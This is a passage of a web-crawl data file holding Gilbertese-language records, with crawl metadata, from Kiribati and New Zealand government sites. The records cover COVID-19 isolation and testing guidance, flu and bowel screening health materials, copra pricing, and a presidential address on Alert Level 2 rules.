kanoa te booma aei bwa rongorongo ake i anga ieta a bon bane ni koaua","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/mwysa.gov.ki\/node\/18","date":"2023-09-21T15:58:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506028.36\/warc\/CC-MAIN-20230921141907-20230921171907-00748.warc.gz","language":"gil","language_score":0.9986476302,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9986476302146912}","num_words":184,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.207,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E teimatoa te Tautaeka n Kiribati n kakatauraoi imwain rokon te aoraki ae te COVID19. Ea tia ana aobiti ae te MHMS ke te Botaki ibukin te Mauri ni karaoi ana katauraoi aika a bati ibukin buokan totokoan ma kauarerekean butin te aoraki aio iaon Kiribati.\nEa tauraoi ngkai te Otintaai Hotel n karikaki bwa te isolation center, ke te auti n kaokoroia aoraki, ngkai akea moa kaaina inanon te tai aio. E kukurei te MHMS n kataubobonga te Otintaai ibukin kabonganakina ngkana arona bwa iai kainanoana.\nKawakinan Maurim\nA butiaki te botannaomata bwa ana aki raraoma ao man nako nanoia ao man karaurau n iango ao n teimatoa n karaoi bwaai aika kam kakauringaki n aron:\nte teboki bai n tainako ma te toobu inanon te maen ae 20 te teekan bwa e naaki tiku iaon baimi te virus ke te mannaoraki\nakea manga te iobai ke te taubai\nakea tautauaia tabeman\nkatokan kaean bobotaki bwa te bobotaki nte mwaiti ae rawata e na kona n kawaekoa butinakon te aoraki ngkana iai\nTotokoan butin te aoraki\nNgkana ko aoraki bwa kanga te flu ao koa riai n tiku n am auti bwa anne e kauarerekea butin te flu. Ko kona n tareboonia te onaoraki ngkana iai namakinan te flu ma te bono-n-ike iroum.\nA kaungaki te koraki bwa ana aki roko nte onaoraki ma ana taninga kawarakia iaan aia auti ngkana a namakina te aoraki bwa e aonga n karako eweween te aoraki aio.\nNte tai aio, ao e karautaeka te MHMS bwa eaki tau ana masks inanon baina ibukia te bota n aomata ngkai a bon rotaki naba aaba ake a karaoaki te oota mai iai.\nMa e ngae n anne, ao a kaungaaki te botanaomata ba ana itui aia masks man kunikai aika a marau ao aikai ake ana kona naba n uaatiiaki ibukin manga kabonganakiia.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/mhms.gov.ki\/single.php?id=10","date":"2023-10-02T18:42:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511002.91\/warc\/CC-MAIN-20231002164819-20231002194819-00836.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":308,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAURI and WELCOME!!!\nExplore here to see the rebranding OB\nP R E S S - R E L E A S E\nA na Katairiki ni kakaitau Beretitenti Taneti Maamau nakoia taan anga baia n ibuobuoki ao Kometen te ka 44 ni kauringa Bongin Abara\nKakaitau te Tautaeka ni Kiribati n nooran ana ibuobuoki ana Kaibuke n Onaoraki Tiaina nakoia kaain Kiribati\nO B - S E R V I C E S\nSmall Grant\nDisaster Relief Fund\nGazettes\nE nang raka boon te tine nte takataka nakon $4 nte kg n 2022\nE a tia te Tautaeka ni Kiribati ni manga kakoroa nanon teuana ana babaire ae e rangi ni bubura iaon kataboroan karakaan boon te takataka man $2 nakon $4 n te kilo are e na moa bwainakina man te ririki ae e boou 2022.\nN te kataumwane are e a tia ni kabwaataki n te Mwaneaba ni Maungatabu n te wiiki ae e nako ao e a tia ni kariaiakaki kabonganaan te mwaiti ni kataumwane ae $40 te mirion ibukin karakaan boon te takataka nakon $4 n te kilo ni moa man Tianuare 2022....read more\nThe Government of Kiribati's vision is to promote a wealthy, healthy and peaceful nation through the sustainable development of its natural and human resources.\nThis development vision has been incorporated into its long term vision also known as the Kiribati 20-year Vision (KV20)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/president.gov.ki\/","date":"2023-10-02T15:13:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511000.99\/warc\/CC-MAIN-20231002132844-20231002162844-00775.warc.gz","language":"gil","language_score":0.9999469519,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999469518661499}","num_words":222,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia te Tautaeka ni kanakoi nikiran taian kaetieti ibukin marurungin te botanaomata ni kaeti ma te COVID-19; 7-te bong ae ko riai ni kaokorokoe riai bwainan te nangoa n ubu ibukiia taan roko nakon te tabo ni kuakua.\nTi mwakuri ngkai n kabooui rongorongo iaon te iterana ni baa iaon te inanete aio. Manga oki riki n te tai ae aki maan ibukin kaetieti ni kairiri aika a kaboouaki.\nE kanga aron karekean te Tutuo ae Tawe n te Antigen | How to get a Rapid Antigen Test\nNi kabane ake iaon Aotearoa New Zealand a kona ni karekea te RATs ae akea boona. Ko kona n anai aikai man taabo ake ananaki iai ke kakaea angan temanna bwa e na anaia ibukim.\nE kanga aron kabonganan te tutuo ae tawe n te Antigen | How to use a Rapid Antigen Test\nTutuo ake a tawe ibukin te Antigen a kona ni karaoaki i bon iroum ke ni iai temanna ae na kaira karaoana.\nAron ribotinan muin am Tutuo ae Tawe n te Antigen | How to report your Rapid Antigen Test results\nKo na riai n ribotina muin am rapid antigen test (tutuo ae tawe n te Antigen) ngkana e reke manin te aoraki ke e aki iai. Ko kona ni karaoa aei rinaon My Covid Record ke n tarebonia te Helpline.\nBeba ni katanoata ao bwai ni ibuobuoki a tauraoi n oin am taetae\nTi katauraoi bwaai aika mwaiti ni buoka am bitineti, tabo ni mwakuri, communities ao botaki nako, karekean te COVID-19 Protection Framework settings.\nKo kona n download ao n print ara logo, templates, posters, videos ao social medial tiles man ara Resource Toolkit","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/testing\/","date":"2023-09-22T09:04:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00626.warc.gz","language":"gil","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000085830688477}","num_words":277,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera ae ko tangiria n ataia ao ni karaoia\nTiiku ni mwengam ngkana ko namakina te aki marurung. Ngkana ngkoe, ke temanna n am auti e reke irouna 1 ke a mwaiti riki man kanikina aika inano aikai, ao ko riai n tutuo n te (RAT):\n- te bwairi ngako\n- te bwaka buua\n- te bekobeko\n- te kabuebue\n- te mumuta\n- te bekanako\n- te maraki n atu\n- buan te aroboi ao te katomam\n- te bua n ike.\nE rangi ni kakawaki bwa ko na kakoaua raoi bwa e tau am RATs ni mwengam n te aro are ngkana temanna kaain mweegam e a karina naba n namakina te aki marurung ao ni kainanoa ngkanne te tutuo. A na bon teimatoa n akea boon taian RATs ibukiia ni kabane inanon te ririki 2023. Ko kona n nooria taabo ake a kona n rikoaki iai RATs ma nangoan te ubu man ana website te Healthpoint, ke man tareboonian 0800 222 478 ao man rinean 1.\nUringnga n ribotina taekan am tutuo n te RAT n My Covid Record, ke tareboonia te rain ni ibuobuoki iaon 0800 222 478 ao rinea 1, ko aonga n toma ma te ibuobuoki ma boutoka nako ake ko na bae ni kainanoi.\nKaokoroko\nTe kaokoroaki bon te kawai ae rangi ni kakawaki ni kauarerekea butinakon te manaoraki.\nNgkana e a reke iroum te COVID-19, ao e tamaroa ae ko kaokoroko inanon 5 te bong, e ngae ngke e ti reke iroum kanikinaeana aika a beebete. Moana kaokoroam man te bong are e moan reke iai kanikina iroum ke ngkana ko a kuneaki ni iai iroum, are e moan reke ai ngaia naba. Nanon aio bwa ko na aki nako ni mwakuri ke n reirei.\nNgkana ko tangiria ni kitana mweengam inanon 5 te bong akanne, e rangi ni kakawaki bwa ko na rinanon kaetieti n totokoa butinakon te COVID-19 nakoia tabeman. Ko riai ni kabonganaa nangoan te ubu n te taai ake ko kitana iai te auti. Ko riai n aki:\n- kawara te tabo ni kuakua (ti ngkana ko na karekea te ibuobuoki iaon te kuakua)\n- kawara aia tabo kaara n nabeaki\n- ko a tia n reitaki ma temanna are e na kona n ananga n reke irouna te aki marurung raoi man COVID-19.\nKo riai ni maroroakina okiran am mwakuri ma am tia kamwakuri ke okin am ataei nakon te reirei ma aia mataniwi n te reirei. Am tia kamwakuri ke am reirei e na bae ni kainanoi aanga n totoko riki.\nNgkana e a raoiroi kanikina iroum ao n namakina te marurung, ao ko a kona n okiri mwakuri ake ko taneiai ni kakaraoi. Ibukina bwa ko kona n teimatoa ni kaewea te aoraki ni karokoa 10 te bong, ngaia are ti kaungako bwa ko na kabongana nangoan te ubu ngkana ko kan kawara:\n- te tabo ni kuakua (ti ngkana ko na karekea te ibuobuoki iaon te kuakua)\n- aia tabo kaara n nabeaki\n- temanna are e na kona n ananga n reke irouna te aki marurung raoi man COVID-19.\nNangoan te ubu\nKabonganaan te nangoa n ubu e teimatoa n riki bwa te kawai ae kakawaki ibukin totokoan butinakon aoraki ake a ewe n te ikeike, n raonaki ma te COVID-19, moarara riki n taabo ni kuakua ao aia tabo aomata ake iai toaraan rabwataia.\nE rangi n tamaroa bwa ko na kabonganaa te nangoa n ubu ngkana kona kawari taabo ni kuakua.\nTaiaoka ma karinei aia kainibaire taabo ni kuakua\/onaoraki iaon kabonganaan te nangoa n ubu n am tai n roko, ao ko na bae n tuangaki bwa kona kabonganaa te nangoa n ubu n taai aika kona tuangaki ke taabo inanon te tabo ni kuakua ni buoka kamanoaia koraki ake e korakora anangan rekena irouia.\nA bon tauraoi nangoa n ubu ao RATS aika akea booia man taabo ake ana rikoaki mai iai.\nReitaki Ma Kaain Te Mweenga\nNgkana ngkoe, ke temanna kaain am auti, e kuneaki n iai te COVID-19, ao aomata ake a maeka ma ngkoe e na korakora naba anangan ewekakiia. Ti kaungaa bwa ni kabane ake a katautauaki bwa ana ewekaki man te mweenga ana teimatoa n tutuo n te RAT man te bong are e kuneaki iai te aomata n reke irouna te COVID-19 n te tutuo.\nKo na aranaki bwa te tia kanamakinaki n ewekaki ngkana ko maeka ma, ke n tia ni kabanea 1 te tairiki ke te bong (riaon 8 te aoa) ma te aomata ae iai irouna te COVID-19. Ni kabane ake a katautauaki bwa ana ewekaki man mwengaia ana riai ni karaoa aia tutuo ni katoabong inanon 5 te bong ni kabonganaa te RAT.\nKatauraoi & kamanoko | Prepare and stay safe\nKakae nako rongorongon COVID-19 ao tera ae ko kona ni karaoia ni katauraoiko ibukina.\nTe Tutuo | Testing\nKakaei riki rongorongo ao kaetieti iaon ae kona kanga n tuoaki, kona tutuo iaa ao tera ae e na riki ngkana e kuneaki te manaoraki iroum.\nKawakinam ao te tiku n onoti | Care and isolation\nIai te buoka ao taeka ni ibuobuoki ake a tauraoi ngkana e reke iroum manin te COVID-19 ao ko kainnanoa te tiku ni kaonotiko.\nLast updated: at","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/","date":"2023-09-22T18:12:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506421.14\/warc\/CC-MAIN-20230922170343-20230922200343-00515.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":837,"character_repetition_ratio":0.061,"word_repetition_ratio":0.031,"special_characters_ratio":0.231,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inanon am tai ni kaokoroko ake a katauaki are 5 te bong\nNgkana ko a tia ni kuneaki ni iai manin te COVID-19 iroum, ao e katauaki ibukim bwa kona kaokoroko inanon 5 te bong, e ngae ngke a beebete kanikinaeana iroum, ni moa man Bong 0.\nBong 0 bon te bong are a moan kaoti iai kanikinaeana iroum ke ko kuneaki n te tutuo ni iai manna iroum, e ngaa are e moan riki moa. Nanon aio bwa ko na aki nako ni mwakuri ke n reirei.\nNgkana ko aki tangiria ni kan kitana mweengam inanon te 5 ni bong are katauaki ibukin kaokoroam, ao e rangi ni kakawaki bwa kona toui kawai ake ana totokoa butinakon te COVID-19 nakoia tabeman.\nKo riai ni kabonganaa nangoan te ubu n te taai ake ko kitana iai te auti.\nKo riai n aki kawara te tabo ni kuakua (ti ngkana ko na karekea te ibuobuoki iaon te kuakua), aia tabo kaara n nabeaki, ke temanna are e na kona n ananga n reke irouna te aki marurung raoi man COVID-19.\nKo riai ni maroroakina okiran am mwakuri ma am tia kamwakuri ke okin am ataei nakon te reirei ma aia mataniwi n te reirei, ngkai am tia kamwakuri ke am reirei e na bae ni kainanoi aanga n totoko riki.\nNgkana ko maeka n te tabo ni maeka ke auti ni maeka n te kateitei ae ti teuana\nNgkana ko maeka n te tabo ni maeka ke auti ni maeka n te kateitei ae ti teuana, ao ko riai ni iri kaetieti iaon kaokoroam n te iteraniba aio:\n- kabonganaa nangoan te ubu n aia tabo te botanaomata ngkana ko tangiria ni kitana am tabo ni maeka, n aron te katooto, ni kabonganaan te tabo ni uaati ae ibuobuokaki\n- tauraroaiko ma tabeman inanon te kateitei ibukin te maeka\n- n aki kabonganaa te kaa n tamwarake ma tabeman riki\n- ni aki ibuokanibwai ni kabonganaan taabo ni kamarurung, ni uaua ke ni kabuane inanon am tai ni kaokoroko.\nInanon kanganga aika a karina, ao ko riai ni iri kairiri ma kaetieti iaon kitanakin te tabo — katauraoa n taainako te nangoa n ubu n am mataroa ngkana arona bwa kona nako.\nKaokoroko ma am ataei\nIai aanga tabeua aika a beebete aroia aika a kona ni buoka ni kauarerekea te kanganga iaon butinakon te COVID-19 ngkana ko kaokoroko ma am tamariki.\nNgkana e reke iroum te COVID-19 ma e aki reke irouia am ataei, ke e reke irouia ao e aki iroum ao ko riai:\n- ni kauarerekea reitakim ma ngaiia n taai are ko kona iai\n- matuu n te ruu ae kaokoro ma am ataei ngkana e riai\n- totokoa te reitaki ma aomata riki tabeman ni mweengam ngkana e riai\n- kabongana nangoan te ubu ngkana ko mena n te ruu ae ti teuana ma tabeman riki\n- kauka te wintoo ibukin butiraoin te ang.\nTi ataia ae tabeua mai buakon aika a kanganga aroia, moarara riki ma ataei aika a uarereke. Taian nangoa n ubu ao nakoraoin butin te ang a rangi ni boongana ibukin kauarerekean butinakon te COVID-19.\nKamarurung\nKo kona ni kamarurung itinanikun mweengam inanon am tai ni kaokoroko. Ko kona ni kamarurung n irarikin nako te tabo are e tei iai mweengam, ma ko na aki kabonganai taabo ake a ibuokanibwaiaki, n ai aron te tabo n uaua ke ni kamarurung. Ko riai n aki kamarurung ma aomata riki tabeman ti ngkana bon kaain am auti.\nTaraia raoi bwa kona:\n- tauraroaiko mai irouia aomata\n- kabonganai kamarurung aika a beebete, ao n taneiai iai.\n- uouota te nangoa n ubu— ko aki kainanoia bwa kona kabonganaa te nangoa n ubu, ma kona rangi n namakina te mwengaraoi riki ngkana ko kabonganaa.\nLast updated: at","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/care-and-isolation\/tiku-ni-kaonotiko-ni-mwengam-isolating-at-home\/","date":"2023-09-29T23:56:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510529.8\/warc\/CC-MAIN-20230929222230-20230930012230-00868.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":614,"character_repetition_ratio":0.066,"word_repetition_ratio":0.03,"special_characters_ratio":0.218,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"National Bowel Screening Programme National campaign poster A3 Kiribati - HE2634\nNational bowel screening campaign posters, A3 size in Kiribati. Posters can be used by anyone who wants to support and promote the bowel screening programme.\nThe full resource:\nE bebete karaoan te tutuo ae te bowel screening\nKo kona ni karaoia!\nAkea boona - Karaoia mai iaan mwengam\nNgkana 60 nakon 74 am ririki ni maeu, ko kona ni karaoa te bowel screening n akea boona. E na kanakoaki nakon mwengam te kete ibukin te bowel screening ni katoa uoua te ririki. Te tutuo ae bebete aei e kona ni buoka kuneakin te bowel cancer ni moantaai ao man kona ni katokaki raoi ngkana e bwain aorakiaki. Ngkana e reke te tutuo iroum, ko a bon karaoia naba! E kona ni kamanoa maeum.\nIbukin tabanin rongorongona, nakon\ntimetobowelscreen.nz\nke taetae nakon am taokita\nCode: HE2634","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/healthed.govt.nz\/collections\/product-group-bowel-screening-is-easy\/products\/nbsp-national-campaign-poster-a3-kiribati-he2634","date":"2023-09-23T02:06:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506429.78\/warc\/CC-MAIN-20230922234442-20230923024442-00499.warc.gz","language":"gil","language_score":0.9999040365,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999040365219116}","num_words":142,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Shoo the Flu flyer - Pasifika design - Kiribati version - NIP8735KIR\nAs part of the 'By Pacific, For Pacific' campaign, this leaflet why and who can get a flu jab and where to get more information.\nPrinted copies can be ordered from the National Immunisation Programme Bluestar portal https:\/\/portal.bluestar.co.nz\/login\/moh_vaccine\nThe full resource:\nShoo the Flu\nKarekea te iti ibukin te flu ba e na buoka kamanoan am utu.\nKarekean te iti ibukin te flu bon teuana te kawai ae rangin tamaroa ibukin buokan totokoan te aoraki ae te flu.\nBukin tera I riai n anganaki te iti ibukin te flu?\nTe aoraki ae te flu tiaki ti te kabuebue ma te ngako. E kona ni karekea nakoim te aoraki ae korakora ao n taai tabetai ko kona ni karinaki n te onaoraki inanon tabeua te bong. E kona ni butanako te flu n te tai ae tawe, ngaia are karekean te iti ibukin te flu e buoka kamanoan am utu ao aomata tabeman ae kain te komuniti, kain am aro, raom ni mwakuri ke n reirei.\nAntai ae e riai n anganaki te iti ibukin te flu?\nAkea boon te iti aei nakoia ataei ae man te roro ae 6 namakaina nakon 12 te ririki, aine aika a bikoukou, kain Māori ao te Betebeke ae man 55 aia ririki ni maeu ao iaona riki, ao aomata aika iai rotakin marurungin rabwataia man te aoraki n aron te aoraki n te buro, kaentia, tioka, bekobeko ae kakaiaki, iai rotakin aia iango ao man tatangiria ba e na kukurei man kabonganaan tao te kamanging.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/healthed.govt.nz\/products\/shoo-the-flu-flyer-pasifika-design-kiribati-version-nip8735kir","date":"2023-09-23T11:22:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00843.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":257,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoimi kaain Kiribati ni kabane mai Makin nako Arorae n ikotaki ma Banaba, Kiritimati, te aono n Raina ma Rawaki, ao ai n taabo nako ike kam mena iai.\nN aran ara Uea ae Iesu Kristo ao Kam na bane n Mauri!\nAu kaongora n te tai aio e na boboto iaon mwiin te tutuo are e karaoaki nakoia nimangaun ma aman (54) bwatintian te kiba are e roko n te Kanimabong 14 bongin Tianuare 2022 ao ai kauring tabeua aika a kakawaki ibukin maurimii ara botannaomata n irekereke ma te keiti are e kuneaki itinanikun te tabo ni katantan.\nE a tia te Botaki ibukin te Mauri ao Katoki Aoraki ni kamatoa bwa mai ibuakoia nimangaun ma aman (54) bwatintian te kiba (charter) are e roko mai Biiti n te Kanimabong 14 n Tianuare 2022 ao iai teningaun ma onoman (36) aika a kuneaki bwa iai te Aoraki irouia ae te COVID-19.\nE riibotinna te Botaki ibukin te Mauri ao Katoki Aoraki bwa koraki aikai a bon bane n tia ni koro itiia ao ni marurung raoi man akea aia kanganga ao a teimatoa ni kaawakinaki ngkai n taabo ni katantan.\nE na riai ni mataata iroun te botannaomata bwa e korakora ana waaki ni baaronga ao n tararua ami Tautaeka man te tai are e moan baaireaki iai taekan te kiba aio ni karokoa rokoia ao kawakinaia n taabo ni katantan iaon Tarawa. E kakawaki ae e na matata te botanaomata bwa ngkai e uki te border ao e teimatoa n iraki nanon ana kainibaire te Botaki ibukin te Mauri ao Katoki Aoraki n aron are kakaraoaki n kiiba n kaokioki ake ma imwaina.\nIbukin ongoraan te botannaomata ao bwatintia aikai, a bon bane n tuoaki teniua te tai ni boong aika 2 n Tianuare, 8 n Tianuare ao 13 n Tianuare imwiin riniia n te Outeero ni katantan i Biiti n 31 bongin Ritembwa 2021 ao man kamatoaki bwa akea manin te Aoraki aio irouia imwaain kibaia nako Tarawa. Raoia bwatintia aikai ake a kakoauaaki bwa iai irouia te Aoraki aei, a bon bane n katukaki i Biiti bwa a na aaki iira te kiba aio ni kaineti ma ana kainibaaire (SOP) te Tautaeka ni Kiribati ibukin te mwamwananga.\nN rokoia bwatintia aikai i Tarawa ao a butimwaeaki irouia kaain ana tiim te Botaki ibukin te Mauri ao Katoki Aoraki ibukin tuooakiia ao kawakinaia n taabo ni katantan n aron are a bon tataneiai ni kaakaraoia ni kaineti ma te kainibaaire (SOP). A tiku ni kawakinaki ngkai te koraki aikai ibukin karaoan te mwakuri n tararua ao tutuo nakoia, ao a na bon tii kona ni kaotinakoaki ngkana e kakoauaaki bwa ai aakea manin te Aoraki aio irouia imwiin aia tutuo uoua te tai, ae teuana te wiiki marenana. Ni kabane taan mwakuri man te Botaki ibukin te Mauri ao Katoki Aoraki ake a ira baarongaan butimwaean te kiba aio ao tuoakiia bwatintia aikai, a bane naba ngkai ni kaawakinaki n te Otintaai Outeero.\nNi kaineti ma mwiin te tutuo are e karaoaki nakoia taan mwakuri ke frontliners ake a rekereke ma te kiba are e roko n te Kanimabong ae 14 n Tianuare 2022, ao e a tia te Botaki ibukin te Mauri ao Katoki Aoraki ni kamatoa bwa temanna (1) ma ibuakoia tengaun ma ruaman (19) taan mwakuri aikai ae e kuneaki bwa iai manin te COVID-19 irouna.\nTe tia mwakuri aio n reitaki ma uoman riki raona ake e mwakuri ma ngaiia, a tia n anaaki ma aia utu ao ni kaawakinaki ngkai ibukin katabwaninan te tutuo. Ni kaineti ma te kainibaaire (SOP) ao e ngae ngke a negative mwiin aia tutuo naake uoman ake raona, ma e bon kakawaki bwa a na kawakinaki ao ni karaoaki naba te tutuo nakoia. N raonaki ma aio ao e waaki ngkai te Botaki ibukin te Mauri ao Katoki Aoraki ni karaoa ana mwakuri n rimwiia te koraki ake a tia n reitaki ma te koraki aikai (contact tracing) ibukin karaoakin naba te tutuo nakoia ao kawakinaia.\nIbukina ngkai iai temanna ae e kuneaki itinanikun te tabo ni katantan bwa iai te COVID-19 irouna, ao e a kamatoa ami Tautaeka bwa ngkai ti a toka iaon Alert Level 2 ke te Kauoua n rietaata ni kauring ni kaineti ma te COVID-19. Ni kaineti ma aio ao iai bitaki tabeua nakon Alert Level 2 n irekereke ma keeraken mwaitiia ake a tia n itinaki n te iti ibukin te COVID-19 are e na kauarerekea rootakin te botannaomata man te Aoraki aio.\nIbukin maurin te botannaomata ni kaineti ma Alert Level 2 ke te kauoua n rietaata ni kauring iaan te taneiai ae e boou, ao aikai babaire ake a na tauraoi n iiraki nanoia ni moa man te bong aio ae te Kauabong 18 bongin Tianuare 2022 nakon te Kauabong 1 bongin Beberuare 2022, te maan ae uoua te wiiki, ao ni kona ni manga reitinako ngkana e nooraki riaina.\n1. Mwaangan nako ao ana Botaki n Mwakuri te Tautaeka ma Bitineti, a na bon teimatoa ni waaki inanon te taneiai ae boou. A kauringaki Botaki ni Mwakuri nako ma Bitineti ao te botannaomata ba a na ira nanon ana kainibaire Botakin te Mauri ao Katoki Aoraki n aron te tauraroa, akean te taubai, kabonganakin rabunan te ubu, te tebo bai ma te toobu, rabunan ubum ngkana ko bekobeko ao a mwaiti riki.\n2. E na tiku n arona te mwamwananga imarenan Tarawa Teinainano ma Betio ao abamwakoro ma a bon tii katauaki ni mwamwananga koraki ake a tia ni koro itiia. Aio are e kaineti naba nakoia taan mwakuri ni bao ni mwamwananga i taari ao n te wanikiba.\n3. E na teimatoa te kaako, bwainaoraki n nikiraki nako aon abamwakoro.\nAo aikai ngkanne Kainibaaire ibukin Tarawa Teinainano, Betio ao Buota:\n1. Ni kabane te botannaomata iaon Tarawa Teinainano, Betio ao Buota a kabaeaki bwa a riai ni kabonganaa te rabuna n ubu ngkana a kitan mweengaia.\n2. A na teimatoa ni buti baao ni mwamwananga iaon Tarawa Teinainano ma Betio ao a na riai bwatintia ma taan kabuti bwati ni kabonganaa te rabuna n ubu. Akea te ibetutu ke te itobwatobwa iaon baao ni mwamwananga.\n3. Taabo n nangkona ao ni manging a na tii kariaiakaki ni kaboonakoi aia mooi (take away) ma e katabuakaki te mooi n taabo akanne ao te ikoikotaki ni mooi n taabo nako.\n4. E na toki te nakonako ao a na riai n tiku iaan aia auti aomata nako man te aoa 10 n te tairiki ni karokoa te aoa 5 n te karangaina. Aio are e na reke iai aia tai te koraki ni katiai tabeia inanon te ngaina ao n okiri mwengaia imwain te tai anne. Te ririaki imarenan aoa aikai e bon taburoroko n aron te kamaangang, te nako n akawa ao ai bon kitanan am auti. E kainanoaki ana kariaia ana Aobiti te Beretitenti ibukin mwamwananga ake a katauaki. Mwamwananga n irekereke ma aron karekean buoka aika a karina ma ni kainnanoaki ibukin maiun te aomata n aron te onnaoraki, bureitiman ao te ka n tiriai, e aki kainanoa ana kariaia ana Aobiti te Beretitenti.\n5. Akea te bobotaki n aron te ikoikotaki n bingo, mooi nangkona ke n mooi manging ae kariaiakaki.\n6. Bobotaki riki n aekaia nako are e riaon tengaun (10) te mwaiti, a bon katokaki moa n te tai aio. Te kauring nakoia Kautun Aaro, Kauntira ma utu ba a na ibuobuoki ma aia botannaomata ibukin aki kaungaan te bobotaki ni kaineti moa ma te taneiai ae boou aio.\nE na teimatoa ami Tautaeka n kakaongorai ngkami rongorongo iaon te keiti aio ao kaetieti ni kaineti ma tararuan maurin te botannaomata. I kan kamatoa riki nakoimi kain Kiribati bwa bon tii rongorongo man ana Aobiti te Beretitenti aika ana kakoauaki ao man iraki nanoia ao akea riki.\nAo ai bon te bubuti nakoimi ara botannaomata bwa ana akea te nako n nano iaan are te waaki are ea kaman waakinaki te katauraoi ibukin kakoroan itimi ni katantan ibukin te COVID-19. Kam na kateimatoa te tauraroa, te kakaitiaki ao te ongotaeka nakon kaetieti ibukin totokoan te aoraki aio.\nE rangi ni kakawaki naba bwa a na riai ni bane ni koro itimi ni katantan ngkami ake kam katauaki bwa kam na itinaki ngkai aio are e a tia ni kakoauaaki iroun te Botaki ibukin te Maurin nte Aonnaba bwa te kabanea n ibuobuoki ibukin katanakimi man te Aoraki aei. Moantaai n reitaki ma te Onaoraki ibukin itimi.\nImwain ae e nang totoki au kaongora n te tai aei, ao I a reitai ma ngkami kaain Kiribati ni kabane, ni kauataoa riki bwanaan Ami Tautaeka ni kakaitau nakoia taan mwakuri ake a teimatoa ni karaoi tibwangaia ni kataniira man te Aoraki aio.\nE kakawaki te bobonnano, ao te ongotaeka nakon iran nanon babaire ma kaetieti ibukin maurira ni kabane. E kakawaki ae tina bane n ikarekebai ibukin kaotaan te botanaomata iaon irakin nanon taian kainibaire ake a baireaki man te Botaki ibukin te mauri ao Katoki Aoraki. Bon au bubuti riki nakoimi ara Botaki n Unimwane ao Unaine, Botaki n Aaro ao Ekaretia nako, Botaki n Roronrikirake, Kauntira, Communities ao ai bon Kaaro Tiina inanon Mweenga nako, bwa kam a ibuobuoki ni kaungaiia ami koraki ao ami utu ma raraomi bwa a na riai ni waekoa n kabanei itiia ibukin katanaia man te Aoraki aio.\nMoan taain itinakim ao koron itim bon maurim, mauria am utu ao kain Kiribati ae banin.\nTe Mauri, Te Raoi ao Te Tabomoa iaora ni kabane.\nAmi Beretitenti ae mangori\nTaneti 